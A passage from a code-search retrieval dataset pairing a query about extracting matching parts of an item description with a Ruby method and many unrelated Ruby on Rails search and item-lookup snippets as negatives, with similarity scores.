User.where(rolable_type: 'Business').order(:rolable_id).pluck(:id, :rolable_id)\n # # search_list = Business.order(:id).pluck(:id, :name)\n\n # # search_list.each_with_index do |x, index|\n # # x[0] = list_a[index][0]\n # # end\n # # sea\n # # search_list = Business.where(active: true).pluck(:name)\n # # search_list.each do |b|\n # # list << b.name\n # # current_user\n # elsif current_user.rolable.class.name == \"Business\"\n # return User.where(rolable_type: 'Charity')\n # # list_a = User.where(rolable_type: 'Charity').order(:rolable_id).pluck(:id, :rolable_id)\n # # search_list = Charity.order(:id).pluck(:id, :name)\n # # search_list.each_with_index do |x, index|\n # # x[0] = list_a[index][0]\n # # end\n # # # search_list.each do |c|\n # # # list << c.name\n # # # end\n # end\n return User.where.not(rolable_type: 'Donor')\n end", "def results\n # @search_result = Recipe.where(\"name like ?\", \"%#{params[:search]}%\")\n\n @search_result = Recipe.joins(:food_items).joins(:directions).where(\"food_items.name ILIKE ? OR recipes.name ILIKE ? OR directions.instruction ILIKE ?\", \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\").distinct\n \n end", "def search\n\t\tusers = []\n\t\tif !params.has_key?(\"term\") or params[:term].empty?\n\t\t\trespond({ status: 1, error: \"You must provide a term to search for\" })\n\t\telse\n\t\t\tUser.contains(params[:term]).each do |u|\n\t\t\t\thash = u.attributes \n\t\t\t\thash[:client] = u.client ? u.client.name : nil\n\t\t\t\tusers.push(hash)\n\t\t\tend\n\t\t\trespond({ status: 0, users: users })\n\t\tend\n\tend", "def search\n @users ||= User.search_user(params[:search])\n authorize! :read, @user\n end", "def search_result\n # user specified that they want to search questions?\n # user specified that they want to search courses ?\n \n if params[:search_for] == \"question\"\n if !search_params[\"question_keyword\"].nil? and search_params[\"question_keyword\"].include?(',')\n search_params[\"question_keyword\"] = search_params[\"question_keyword\"].tr(',', '').strip #scrub any commas in our search\n end\n\n db = Search.search_questions(search_params.to_h)\n @results = JSON.parse(db.to_json)\n elsif params[:search_for] == \"course\"\n db = Search.search_courses(search_params.to_h)\n @results = JSON.parse(db.to_json)\n end\n\n end", "def show\n @item = Item.find_by_id(params[:id])\n chk = true\n if @item and (not @item.user.active or @item.deleted?) then chk = false end\n if chk and @item\n if @item.completed?\n redirect_to accepted_offers_item_path(@item)\n elsif !@item.completed? and params[:tab].blank?\n redirect_to trade_offers_item_path(@item, :section => params[:section], :scroll => params[:scroll], :offer_by => params[:offer_by])\n end\n @like_count = @item.likes.count\n @owner = @item.user\n if @item.category.present?\n @breadcrumb = @item.category\n end\n @comments = @item.comments.where(\"deleted = false\").includes(:user)\n begin\n if @item.category.present?\n search_result = Item.item_search(nil, @item.category_id, \"most offered\", nil,nil,1, session[:user_ll], nil,4)\n # debugger\n if search_result.blank? or (search_result.present? and search_result.results.count < 5)\n search_result = Item.item_search(nil, nil, \"most offered\",nil,nil, 1, session[:user_ll], nil,5)\n end\n else\n search_result = Item.item_search(nil, nil, \"most offered\",nil,nil, 1, session[:user_ll], nil,5)\n end\n similar_item = search_result.results\n @similar_items = similar_item.delete_if{|x| x.id == @item.id}\n if similar_item.count == 5\n @similar_items = similar_item.last.delete\n end\n rescue StandardError => e\n @similar_items = []\n end\n # render 'show'\n else\n redirect_to dead_link_path\n end\n end", "def index\n @items = Item.search(params[:search]).paginate(:per_page => 5, :page => params[:page])\n end", "def search\n @category = params[:type]\n @name = @class.name.underscore.humanize.split.map(&:capitalize).join(' ')\n \n # Search for correct item\n case params[:type]\n when 'purchasers'\n @categoryName = \"Purchaser\"\n @categorySearch = Purchaser.search\n when 'endusers'\n @categoryName = \"EndUser\"\n @categorySearch = EndUser.search\n when 'purchaseorders'\n @categoryName = \"PurchaseOrder\"\n @categorySearch = PurchaseOrder.search\n when 'keys'\n # if the map is active, render that instead of search form\n @mapActive = session[:enduser] != '0'\n\n if @mapActive \n @enduser = EndUser.find(session[:enduser])\n \n gather_map_border_paramters()\n gather_group_end_users_and_keys()\n else\n @categoryName = \"Key\"\n @categorySearch = Key.search\n end\n end\n end", "def filtered_items_list(filter, params = {})\n resp = @client.access_token.get(ItemList.merge_query_string(\"/reader/api/0/stream/contents/user/#{user_id}/state/com.google/#{filter}?output=json\", params))\n raise \"unable to retrieve the list of #{filter} items for user \\\"#{user_id}\\\": #{resp.inspect}\" unless resp.code_type == Net::HTTPOK\n Google::Reader::ItemList.new(@client, resp.body)\n end", "def product_count_items(search_criteria=nil)\n criteria = search_criteria || @search_criteria\n ProductCountItem.find_all_by_criteria(criteria)\nend", "def search_for_item\n search_service.fetch(params[:solr_document_id])\n end", "def index\n\t\t @items = Item.find_my_items(current_user) \n end", "def solr_search_by_item(query_item, type, o={})\n # Filter query results\n if o[:working_set]\n filter_qry = o[:working_set].map{|e|\"id_text:#{e}\"}.join(\" || \") \n else\n case type\n when 'con' : filter_qry = solr_filter_concepts()\n when 'doc' : filter_qry = solr_filter_concepts('-', ' && ')\n end\n end\n \n #debugger\n # Initial Solr Query\n solr = RSolr.connect :url=>Conf.solr_server\n begin\n solr_result = solr.request \"/mlt\", :q => \"id:\\\"Item #{query_item.id}\\\"\",:fl => \"*,score\", :fq =>filter_qry , \"rows\" => (o[:rows] || 50), \n \"mlt.fl\" => \"title_text,content_text,metadata_text,uri_text,itype_text\", \"mlt.mintf\" => 1, \"mlt.mindf\" => 5, \"mlt.boost\"=>true\n \n # Cache results returned\n Item.find(solr_result['response']['docs'].map{|e|e[\"id\"].split(\" \")[1]}).\n each{|i| $items[i.id] = cache_data(\"item_#{i.id}\", i)} \n rescue Exception => e\n error \"[search_by_item] Error in Calling Solr\", e\n return []\n end\n info \"[search_by_item] Nothing returned from Solr!!!\" if solr_result['response']['docs'].size == 0\n # Feature Vector generation\n solr_result['response']['docs']\n end", "def index\n @filter = params[:filter] if params.has_key? :filter and %w{unapproved invited}.include? params[:filter]\n\n if params[:search]\n @search = User.search { fulltext params[:search] }\n @users = user_query.where(id: @search.results.map(&:id))\n else\n @users = user_query.order(updated_at: :desc)\n end\n end", "def cemetary\n unfiltered_users = User.search(params[:term])\n @users = unfiltered_users.select do | user | user.archived == true end\n end", "def index\n if params[:searchKeyword].present?\n @items = Item.where(\"category_id = ? and name LIKE ?\", params[:categoryId] ,\"%#{params[:searchKeyword]}%\", ).uniq\n else\n @items = Item.where(category_id: params[:categoryId])\n end\n end", "def search; end", "def index\n if params[:search_item]\n @supplies = Supply.search_by_title(params[:search_item]).paginate(:page => params[:page]).per_page(10)\n else\n @supplies = Supply.order(\"id DESC\").paginate(:page => params[:page]).per_page(10) \n end\n end", "def search \n\n end", "def search\n @sharedpurposes = Sharedpurpose.search params[:search]\n \n render \"index\"\n end", "def fetch_all_active_items\n @items.values.select{|item| item.active}\n end", "def find(options)\n BorrowDirect::FindItem::Response.new find_item_request(options), self.auth_id\n end" ]
[ "0.6554827", "0.64927036", "0.6492338", "0.64481986", "0.6393711", "0.6393492", "0.6367485", "0.634915", "0.6283476", "0.627187", "0.62682915", "0.626485", "0.62618065", "0.62496674", "0.6240863", "0.6226537", "0.6199801", "0.618885", "0.61831754", "0.6152757", "0.6131985", "0.61101323", "0.6102994", "0.60693455", "0.6064313", "0.6054236", "0.60111535", "0.59822494", "0.5957821", "0.5943325", "0.5934442", "0.5923631", "0.5923025", "0.5908922", "0.5904992", "0.5904419", "0.59033716", "0.5901599", "0.5889635", "0.5881557", "0.586433", "0.58584565", "0.58506036", "0.58493125", "0.58449244", "0.5831208", "0.58217686", "0.5812215", "0.58091676", "0.5801477", "0.5796745", "0.5777737", "0.5766882", "0.5758864", "0.5729326", "0.57247615", "0.5718324", "0.57140094", "0.5711211", "0.57019234", "0.5698404", "0.5690086", "0.568986", "0.5679685", "0.56783456", "0.56724566", "0.5663499", "0.56609076", "0.5651207", "0.5648432", "0.5627438", "0.5625696", "0.5616966", "0.56107044", "0.5609667", "0.5608338", "0.5606732", "0.56048805", "0.5601839", "0.5597678", "0.55947167", "0.55896896", "0.5587229", "0.5582408", "0.5579746", "0.5578257", "0.5573118", "0.5571232", "0.55682814", "0.5567686", "0.5564509", "0.55625343", "0.5560936", "0.5558085", "0.5548017", "0.5543556", "0.5543505", "0.554034", "0.55383927", "0.5537756" ]
0.60895646
23
Selects the parts of description where query mathches to the items description
def map_description_part(description, query) start_of_find = description.gsub(/_/, " ").downcase.index(query) substring_start = if start_of_find - 17 < 0 then 0 else start_of_find - 17 end substring_end = if start_of_find + 20 > description.size then description.size else start_of_find + 20 end matching_description = description[substring_start..substring_end].gsub("/~/", ",") if substring_end != description.size matching_description << "..." end if substring_start != 0 matching_description = "..." + matching_description end matching_description end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def items_with_description(expected_description)\n filter = ObjectFilter.new { |filter| filter.accept(\"items.description\").when_it is(expected_description) }\n items_data = self.service.object_filter(filter).getItems()\n\n items_data.collect do |item_data|\n first_price = item_data['prices'][0]\n ProductConfigurationOption.new(item_data, first_price)\n end\n end", "def search_room\n item_description\n end", "def line_items\n LineItem.where(description: self.descriptions.select(:value))\n end", "def find(items)\n query_array = query.gsub(/_/,\" \").downcase.split\n\n results = []\n items.each{ |item|\n match_all = true\n query_array.each{ |query|\n description = item.description.gsub(\"/,/\",\"~\")\n if !item.name.gsub(/_/,\" \").downcase.include?(query) and !description.gsub(/_/,\" \").downcase.include?(query)\n match_all = false\n else\n if description.gsub(/_/,\" \").downcase.include?(query)\n self.description_map[item] = map_description_part(description, query)\n else\n self.description_map[item] = if item.description.size>=30 then item.description[0..27] + \"...\" else item.description end\n end\n end\n }\n if match_all\n results.push(item)\n end\n }\n\n self.found_items = results\n if self.found_items.size == 0 and self.query.size >= 2\n suggest_other_query(items, query)\n end\n\n end", "def description\n search_by_itemprop 'description'\n end", "def callback_description(results)\n\t\t\n\t\t# Remove blank descriptions and select first\n\t\t@content = results.map { |description| (description.blank? ? nil : description) }.compact.first\n\t\t\n\tend", "def search_description_scrape\n @doc.search('.muted a').first(10).each do |description|\n @descriptions << description.text\n end\n check_for_results\n end", "def searchdescription\n end", "def extract_work_description_display\n description_display_array = {}\n self.find_by_terms(:vra_work,:descriptionSet,:descriptionSet_display).each do |description_display| \n ::Solrizer::Extractor.insert_solr_field_value(description_display_array, \"description_display_tesim\", description_display.text) \n end\n return description_display_array\n end", "def look\n puts \"*#{@short_description}*\"\n puts \"#{@long_description}\"\n puts\n to_show = contents.reject{|o| o.name == 'self'}\n room_descr_items = to_show.select{|o| o.room_description} #items that have a special room_description value, which is prose overriding \n #the simple behavior of just listing the name of an item during room description.\n to_show.reject! {|x| room_descr_items.include?(x) }\n room_descr_items.each do |item|\n puts item.room_description\n end\n if not to_show.empty?\n print \"You can see \"\n to_show.each do |obj|\n print \"and \" if obj == to_show.last && obj != to_show.first\n print \"#{obj.name} \"\n end\n puts \"here.\"\n end\n end", "def descriptions\n @all_descriptions ||= @doc.match DESCRIPTION_MATCHES\n end", "def needed_descriptions # :nologin: :norobots:\n # NOTE!! -- all this extra info and help will be lost if user re-sorts.\n data = Name.connection.select_rows %(\n SELECT names.id, name_counts.count\n FROM names LEFT OUTER JOIN name_descriptions ON names.id = name_descriptions.name_id,\n (SELECT count(*) AS count, name_id\n FROM observations group by name_id) AS name_counts\n WHERE names.id = name_counts.name_id\n AND names.rank = 'Species'\n AND name_counts.count > 1\n AND name_descriptions.name_id IS NULL\n AND CURRENT_TIMESTAMP - names.updated_at > #{1.week.to_i}\n ORDER BY name_counts.count DESC, names.sort_name ASC\n LIMIT 100\n )\n @help = :needed_descriptions_help\n query = create_query(:Name, :in_set, :ids => data.map(&:first),\n :title => :needed_descriptions_title.l)\n show_selected_names(query, :num_per_page => 100) do |name|\n # Add number of observations (parenthetically).\n row = data.select {|id,count| id == name.id}.first\n row ? \"(#{count} #{:observations.t})\" : ''\n end\n end", "def test_it_can_find_items_by_description\n item_repo = ItemRepository.new(self, \"./data/items.csv\")\n description = \"oil painting on stretched canvas 45x60 cm\"\n results = item_repo.find_all_with_description(description)\n\n assert_equal 263399825, results.first.id\n end", "def format_description(text)\n # Look for signs of structure, otherwise just treat as unstructured.\n case text\n when /\"\";/ then double_quotes_to_sections(text)\n when /\\.--v\\. */ then double_dash_to_sections(text)\n when /; *PART */i then # Seen in some IA records.\n when /:;/ then # Observed in one unusual case.\n when /[[:punct:]] *--.* +-- +/ then # Blurbs/quotes with attribution.\n when / +-- +.* +-- +/ then # Table-of-contents title list.\n when /(;[^;]+){4,}/ then # Many sections indicated.\n else return format_multiline(text)\n end\n q_section = nil\n text.split(/ *; */).flat_map { |part|\n next if (part = part.strip).blank?\n case part\n when /^\"\"(.*)\"\"$/\n # === Rare type of table-of-contents listing entry\n line = $1.to_s\n if line.match(SECTION_TITLE_RE)\n gap = (\"\\n\" unless q_section)\n q_section = $1.to_s\n [gap, \"#{q_section} #{$2}\", \"\\n\"].compact\n else\n q_section = nil\n line.match?(/^\\d+ +/) ? line : \"#{BLACK_CIRCLE}#{EN_SPACE}#{line}\"\n end\n\n when / +-- +.* +-- +/\n # === Table-of-contents listing\n section = nil\n part.split(/ +-- +/).flat_map { |line|\n if line.match(SECTION_TITLE_RE)\n gap = (\"\\n\" unless section)\n section = $1.to_s.delete_suffix('.')\n [gap, \"#{section}. #{$2}\", \"\\n\"].compact\n else\n section = nil\n \"#{BLACK_CIRCLE}#{EN_SPACE}#{line}\"\n end\n }.tap { |toc| toc << \"\\n\" unless toc.last == \"\\n\" }\n\n when /[[:punct:]] *--/\n # === Blurbs/quotes with attribution\n part.scan(BLURB_RE).flat_map do |paragraph, attribution|\n attribution.remove!(/[.\\s]+$/)\n [\"#{paragraph} #{EM_DASH}#{attribution}.\", \"\\n\"]\n end\n\n when /^v[^.]*\\. *\\d/\n # === Apparent table-of-contents volume title\n [part]\n\n else\n # === Plain text section\n part = \"#{part}.\" unless part.match?(/[[:punct:]]$/)\n [part, \"\\n\"]\n end\n }.compact.map { |line|\n line.gsub(/---/, EM_DASH).gsub(/--/, EN_DASH)\n }\n end", "def description_for(item)\n if item.description\n item.description\n elsif item.content\n item.content\n else\n \"\"\n end\n end", "def filtered_description(regexp)\n build_description_from(\n *nested_descriptions.collect do |description|\n description =~ regexp ? $1 : description\n end\n )\n end", "def partial_short_items\n lines = @doc.xpath('ql:SOResult/ql:Line', 'ql' => NAMESPACE)\n lines = lines.select { |l| Integer(l['Quantity']) == 0 }\n lines.map do |line|\n {\n ql_item_number: line['ItemNumber'],\n }\n end\n end", "def select(description, amt)\n hand = Clutch.new() # this new Clutch will store the selection\n\n # iterate over @items in Bag. if item matches the description, add to clutch\n items.each do |item|\n # stop if items added to hand reaches the max amount \n break if hand.items.length == amt\n\n next if description[:item] != nil && description[:item] != item.type\n next if description[:sides] != nil && description[:sides] != item.sides\n next if description[:colour] != nil && description[:colour] != item.colour\n next if description[:denomination] != nil && description[:denomination] != item.denomination\n\n hand.store(item)\n end\n\n # remove all the items we took out the bag from the Bag's @items list\n self.items = self.items - hand.items\n hand\n end", "def parse_description\n skip_tkspace\n\n tk = get_tk\n\n @desc = tk.text[1..-2]\n end", "def find_en_description(item)\n item['Description'].find { |d| d['Language'] == 'EN' }['Description']\n end", "def get_licence_step1_per_item\n a = @dc[:description] + @dc[:rights]\n a.each{|desc|\n # It is important to test for abbreviations in the correct order\n # (as per the LICENCE_KEYS array).\n LICENCE_KEYS.each{|k| return k.to_s.upcase.gsub(\"_\", \"-\") if\n desc.match(LICENCE_ABBR_REGEX_LIST[k]) || desc.match(LICENCE_URL_REGEX_LIST[k])}\n }\n nil\n end", "def find_by_query_columns\n ['title', 'description']\n end", "def select_items\n text = input\n case text\n\n when \"Plate.where(color:\\\"white\\\")\", \"Plate.where()\",\n \"Plate.where(:id=>1)\",\"Plate.where(:id=>1)[0]\",\n \"Plate.where({color:\\\"white\\\"})\", \"Plate.where({:id=>1})\", \"Plate.all\"\n\n res = true\n selections.each do |s|\n s.update(selected: true)\n end\n p \"he\"\n\n when \"Plate.where(id:1).first\", \"Plate.where(id:1)[0]\",\n \"Plate.where(:id=>1).first\",\"Plate.where(:id=>1)[0]\",\n \"Plate.where({:id=>1})[0]\", \"Plate.where({:id=>1}).first\",\n \"Plate.find_by(id:1)\", \"Plate.find_by(:id=>1)\", \"Plate.find(1)\"\n\n res = true\n selections.first.update(selected: true)\n when \"Plate.where(id:2).first\", \"Plate.where(id:2)[0]\",\n \"Plate.where(:id=>2).first\",\"Plate.where(:id=>2)[0]\",\n \"Plate.where({:id=>2})[0]\", \"Plate.where({:id=>2}).first\",\n \"Plate.find_by(id:2)\", \"Plate.find_by(:id=>2)\", \"Plate.find(2)\"\n\n res = true\n selections.second.update(selected: true)\n\n when \"Plate.where({:id=>2})\", \"Plate.where(id:2)\", \"Plate.where({:id=>2})\",\n \"Plate.where(id:2)\", \"Plate.where(:id=>2)\"\n\n collection_returned = true\n res = false\n else\n res = false\n end\n\n end", "def best_description\n if description?\n description\n else\n additional_description\n end\n end", "def extract_image_description_display\n description_display_array = {}\n self.find_by_terms(:vra_image,:descriptionSet,:descriptionSet_display).each do |description_display| \n ::Solrizer::Extractor.insert_solr_field_value(description_display_array, \"description_display_tesim\", description_display.text) \n end\n return description_display_array\n end", "def description_nested\n self[Solrizer.solr_name('description_nested', :displayable)]\n end", "def index\n @description_items = DescriptionItem.all\n end", "def get_description(detail_page, tds)\n table = detail_page.search('table')[31]\n\n tr = table.search('tr')[3]\n\n tds_detail_description = tr.search('td')\n\n description = \"\"\n\n if !tds_detail_description[1].at('span').nil? \n\n description = clean_whitespace(tds_detail_description[1].at('span').text)\n\n else\n\n description = clean_whitespace(tds_detail_description[1].text)\n\n end\n return description\nend", "def get_description(detail_page, tds)\n table = detail_page.search('table')[31]\n\n tr = table.search('tr')[3]\n\n tds_detail_description = tr.search('td')\n\n description = \"\"\n\n if !tds_detail_description[1].at('span').nil? \n\n description = clean_whitespace(tds_detail_description[1].at('span').text)\n\n else\n\n description = clean_whitespace(tds_detail_description[1].text)\n\n end\n return description\nend", "def list_name_descriptions # :nologin:\n query = create_query(:NameDescription, :all, :by => :name)\n show_selected_name_descriptions(query)\n end", "def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n \"Write your SQL query Here\"\nend", "def descriptions\n Description.where(table: \"ethnicities\").where(parent_id: \"#{self.id}\")\n end", "def auto_complete_for_recipeSearch_description\n criteria = '%' + params[:recipeSearch][:description] + '%'\n @recipes = Recipe.find(:all, \n :conditions=>[\"title like ? OR description like ?\",criteria, criteria],\n :order=>'title desc', :limit=>10)\n render :partial=> \"recipes\" \n end", "def find_item description\n items = find_items\n elem = items.xpath(\".//rasd:Description\").find{ |e| e.content == description }\n raise MissingElement.new(description) if elem.nil?\n elem.parent\n end", "def return_descriptions_array(doc)\n descriptions = doc.css(\".search-content .field-item.even\")\n recipe_descriptions = []\n descriptions.each do |element|\n recipe_descriptions << element.text\n end\n return recipe_descriptions\n end", "def find_description(response, selector)\n return nil unless response.css(\"#{selector} > p.mb-0\")[1]\n\n response.css(\"#{selector} > p.mb-0\")[1].text.gsub(',', '')\nend", "def description\n page.render_part('description') rescue ''\n end", "def description\n page.render_part('description') rescue ''\n end", "def test_items()\n @items.select do |i|\n i.identifier =~ test_re\n end\n end", "def description_field\n product_descriptions.where(content_name: \"description\").first_or_initialize\n end", "def select_script_items(lecture)\n lecture.script_items_by_position.map do |i|\n [i.title_within_lecture, i.pdf_destination]\n end\n end", "def description\n if row=PartNum.find_by_board_design_entry_id_and_use(self.id, \"pcb\")\n row.description || \"(Description not set)\"\n else \n \n self.bde_description || \"(Description not found)\"\n end \n end", "def description\n query_root_node(\"description/text()\")\n end", "def all_items( hidden = false )\r\n\t\t\tresults = []\r\n\t\t\t@contents.each do\r\n\t\t\t\t|item|\r\n\t\t\t\tif ( item.hidden == true && hidden == true ) || ( item.hidden == false )\r\n\t\t\t\t\tresults << item.description \r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\treturn results\r\n\t\tend", "def filtered_description(regexp)\n Spec::deprecate(\"ExampleGroupProxy#filtered_description\",\"gsub (or similar) to modify ExampleGroupProxy#description\")\n ExampleGroupMethods.build_description_from(\n *nested_descriptions.collect do |description|\n description =~ regexp ? description.gsub($1, \"\") : description\n end\n )\n end", "def select_fulltext(editions)\n editions.select do |ed|\n ! ed['ocaid'].blank?\n end\n end", "def auto_complete_for_filter_expense_pending_description\r\n project_ids = (@current_user.supervised_projects.nil? || @current_user.supervised_projects.empty? ) ? '' : (@current_user.supervised_projects.collect {|p| p.id}.flatten)\r\n \r\n @items=BulkExpense.find(:all,:include=> [:user, :project],\r\n :conditions=>['expenses.description like ? and users.enterprise_id=? and (users.supervisor_id= ? OR projects.id IN (?))',\"%#{params[:crt_description]}%\",@enterprise.id,@current_user.id, project_ids])\r\n render :inline => '<%= auto_complete_result(@items, \"description\") %>'\r\n end", "def process_description(description, n)\n experience, education = @experience_xpath[n].text, @education_xpath[n].text\n description += \"\\n\\nExperience: \" + experience unless experience.blank?\n description += \"\\n\\nEducation: \" + education unless education.blank?\n super(description, n)\n end", "def select_by(how, what); end", "def bulk_pubmed_description\n xml = open(@@eutil_base + \"db=pubmed&id=\" + @id.join(\",\")).read\n id_text = Nokogiri::XML(xml).css(\"PubmedArticle\").map{|n| n.to_xml }.map do |xml|\n parser = PubMedMetadataParser.new(xml)\n array = [ parser.journal_title,\n parser.article_title,\n parser.abstract,\n parser.affiliation,\n parser.authors.map{|n| n.values.compact },\n parser.chemicals.map{|n| n[:name_of_substance] },\n parser.mesh_terms.map{|n| n.values.compact } ]\n [parser.pmid, array.flatten.compact.map{|d| clean_text(d) }.join(\"\\s\")]\n end\n Hash[id_text.flatten] ## NO LONGER WORK WITH < RUBY 2.0\n end", "def list_descriptions(obj, fake_default = false)\n type = obj.type_tag\n\n # Filter out empty descriptions (unless it's public or one you own).\n list = obj.descriptions.includes(:user).select do |desc|\n desc.notes? || (desc.user == @user) ||\n reviewer? || (desc.source_type == :public)\n end\n\n # Sort, putting the default one on top, followed by public ones, followed\n # by others ending in personal ones, sorting by \"length\" among groups.\n type_order = Description.all_source_types\n list.sort_by! do |x|\n [\n (x.id == obj.description_id ? 0 : 1),\n type_order.index(x.source_type),\n -x.note_status[0],\n -x.note_status[1],\n description_title(x),\n x.id\n ]\n end\n\n # Turn each into a link to show_description, and add optional controls.\n list.map! do |desc|\n item = description_link(desc)\n writer = writer?(desc)\n admin = is_admin?(desc)\n if writer || admin\n links = []\n if writer\n links << link_with_query(:EDIT.t,\n controller: obj.show_controller,\n action: \"edit_#{type}_description\",\n id: desc.id)\n end\n if admin\n links << link_with_query(:DESTROY.t,\n { controller: obj.show_controller,\n action: \"destroy_#{type}_description\",\n id: desc.id },\n data: { confirm: :are_you_sure.t })\n end\n item += indent + \"[\" + links.safe_join(\" | \") + \"]\" if links.any?\n end\n item\n end\n\n # Add \"fake\" default public description if there aren't any public ones.\n if fake_default && !obj.descriptions.any? { |d| d.source_type == :public }\n str = :description_part_title_public.t\n link = link_with_query(:CREATE.t, controller: obj.show_controller,\n action: \"create_#{type}_description\",\n id: obj.id)\n str += indent + \"[\" + link + \"]\"\n list.unshift(str)\n end\n\n list\n end", "def parse_item_info(condensed,items,notes_by_mid,sumh_by_mid,grouped,bibid,response,over_locs,orders_by_mid)\n\t items_by_mid = {}\n\t if false\n\t # needed this when condensed was organized by library name.\n\t # now it is keyed by holding id.\n\t # condensed by holding id (mid ), to find which condensed entry contains a particular mid\n\t # value at the index is a library 'displayname'.\n\t condn_by_mid = {}\n\t condensed.each_key do |lk|\n\t ##Rails.logger.debug \"\\nes287_debug condensed key lk = #{lk}\"\n\t condensed[lk][\"holding_id\"].each do |hk|\n\t\tcondn_by_mid[hk] = lk\n\t end\n\t end\n\t end\n\t #condn_by_mid = create_dn_by_mid(bibid,response)\n\t ###Rails.logger.debug \"\\nes287_debug line:(#{__LINE__})items this condn by mid = \"+ condn_by_mid.inspect\n\t # TODO -- there may be notes on a holding record,\n\t # but no items attached to that holding. if that is true, this does not work.\n\t # need to detect this condition, and correct for that.\n\t # example bound withs, like 531286, or RMC things with no item records\n\t items.each do |iinfo|\n\t hk = iinfo['mfhd_id']\n\t curi = \"\"\n\t if (!condensed[hk].nil? && !condensed[hk][\"current_issues\"].nil?)\n\t curi = condensed[hk][\"current_issues\"]\n\t end\n\t indx = \"\"\n\t if (!condensed[hk].nil? && !condensed[hk][\"indexes\"].blank?)\n\t indx = condensed[hk][\"indexes\"]\n\t end\n\t supl = \"\"\n\t supl1 = \"\"\n\t supl2 = \"\"\n\t if (!condensed[hk].nil? && !condensed[hk][\"supplements\"].blank?)\n\t supl1 = condensed[hk][\"supplements\"]\n\t end\n\t if (!condensed[hk].nil? && !condensed[hk][\"supplemental_holdings_desc\"].blank?)\n\t supl2 = condensed[hk][\"supplemental_holdings_desc\"]\n\t end\n\t if (!supl1.blank? || !supl2.blank?)\n\t supl = \"Supplements: \" +supl1+supl2\n\t end\n\t items_by_mid[hk] = {\"items\"=> {}, \"notes\"=>notes_by_mid[hk], \"summary_holdings\"=>sumh_by_mid[hk],\n\t\t\"current_issues\"=>curi,\"supplements\" => supl , \"indexes\"=> indx }\n\t end\n\t # insert item info into correct place into condensed array\n\t ##Rails.logger.debug \"\\nes287_debug File:#{__FILE__}:line:#{__LINE__} items_by_mid = #{items_by_mid.inspect}\"\n\t ##Rails.logger.debug \"\\nes287_debug File:#{__FILE__}:line:#{__LINE__} condensed = #{condensed.inspect}\"\n\t items_by_mid.each_key do |hk|\n\t ##Rails.logger.debug \"\\nes287_debug File:#{__FILE__}:line:(#{__LINE__}) hk = #{hk}\"\n\t next if hk.nil?\n\t next if items_by_mid[hk].nil?\n\t next if condensed[hk].nil?\n\t #condensed[condn_by_mid[hk]][\"copies\"] << items_by_mid[hk]\n\t condensed[hk][\"copies\"] << items_by_mid[hk]\n\t if !over_locs[hk].blank?\n\t\t##Rails.logger.debug \"\\nes287_debug line:(#{__LINE__}) over_locs[hk] = #{over_locs[hk]}\"\n\t\t#condensed[condn_by_mid[hk]][\"copies\"][0][\"temp_locations\"] = over_locs[hk]\n\t\tcondensed[hk][\"copies\"][0][\"temp_locations\"] = over_locs[hk]\n\t end\n\t condensed[hk][\"copies\"][0][\"items\"] = grouped[hk][\"items\"] unless grouped[hk].nil?\n\t end\n\t condensed.each_key do |hk|\n\t ##Rails.logger.debug \"\\nes287_debug line:(#{__LINE__}) hk = #{hk}\"\n\t if condensed[hk.to_s][\"copies\"].blank?\n\t\t#condensed[hk.to_s][\"copies\"] = [{\"items\" =>{} ,\"orders\" => [] } ]\n\t\tcondensed[hk.to_s][\"copies\"] =\n\t\t [{\"items\"=>{\"Not Available\"=>{\"status\"=>\"none\", \"count\"=>0}}, \"notes\"=>nil, \"summary_holdings\"=>nil,\"orders\" => nil}]\n\t end\n\t condensed[hk.to_s][\"copies\"][0][\"orders\"] = orders_by_mid[hk.to_s] unless orders_by_mid[hk.to_s].blank?\n\t end\n\t condensed\n\t end", "def description_split\n\t\tdescription.split(\", \")\n\tend", "def search_string\n [name, description].join(' ')\n end", "def content_based_description\n first_long_paragraph = parsed_search('//p[string-length() >= 120]').first\n first_long_paragraph ? first_long_paragraph.text : ''\n end", "def find_description_in(header)\n desc_found = false\n docstring = []\n header.each_line do |line|\n if desc_found\n docstring.push line\n elsif line.chomp == 'Description'\n desc_found = true\n end\n end\n\n docstring.join(\"\\n\")\n end", "def get_description(n)\n @description_xpath[n].text\n end", "def line_item_description_text(description_text)\n if description_text.present?\n truncate(strip_tags(description_text.gsub('&nbsp;', ' ')), length: 100)\n else\n t('spree.product_has_no_description')\n end\n end", "def extract_description(document)\n node = document.css('div.well>p')\n @description = node.inner_html\n end", "def field_description description, options = nil\n (\n \"\".in_span(class:'libelle') +\n description.in_span(class:'value descfield')\n ).in_div(class:'row description')\n end", "def separate_meal_combo\n @item_search.collect! { |search| search = (search - @meal_combo)} unless @meal_combo.empty?\n end", "def secondary_description\n first_long_paragraph = parsed_document.search('//p[string-length() >= 120]').first\n first_long_paragraph ? first_long_paragraph.text : ''\n end", "def extended_description_field\n product_descriptions.where(content_name: \"extended_description\").first_or_initialize\n end", "def where *item\n\t\t\twhere_string = item.map{|m| where_string = compose_where( m ) }.join(' and ')\n\t\t\tsubquery= OrientSupport::OrientQuery.new from: @orient, projection: \"expand( #{@name})\"\n\t\t\tq= OrientSupport::OrientQuery.new from: subquery, where: item\n\t\t\t@orient.db.execute{ q.to_s } if check_if_complete\n\n\t\tend", "def selected_description\n response = []\n begin\n @products = Product.find(params[:id], :conditions => \"is_enable = TRUE\")\n if @products.is_serial_number\n @serials = @products.product_serial_numbers.find(:all, :conditions => [\"is_sold = FALSE\"])\n @serials.each do |serial|\n serial.serial_number.blank? ? '' : response << {'id' => serial.id, 'serial_number' => serial.serial_number}\n end\n end\n rescue\n end\n render :json => response.to_json\n end", "def get_autocomplete_items(parameters)\n HsCode.where(\"hs_codes.code like :search or hs_codes.description like :search\", :search => \"%#{params[:term]}%\").select('description, code').limit(100)\n end", "def get_description(n)\n description = Nokogiri::HTML(super(n)).text\n if description.include?(\"IF YOU GO\")\n description = description.split(\"IF YOU GO\")[0]\n description = description.split(\" \")[3..-1].join(\" \") # remove \"by 'author name'\"\n description.slice!(\"[ Subscribe to the comments on this story ] \")\n description\n else\n nil\n end\n end", "def extract_description(content)\n Woro::TaskList.extract_description content\n end", "def extra_description\n attributes_description + content_description + count_description\n end", "def search_text(query, text)\n text = pattern(text)\n query.where { title.ilike(text) | description.ilike(text) }\n end", "def description\n return $BlizzABS.util.add_item_text(@description, @id, 2)\n end", "def select( item )\r\n select_item_in_select_list(:text, item)\r\n end", "def 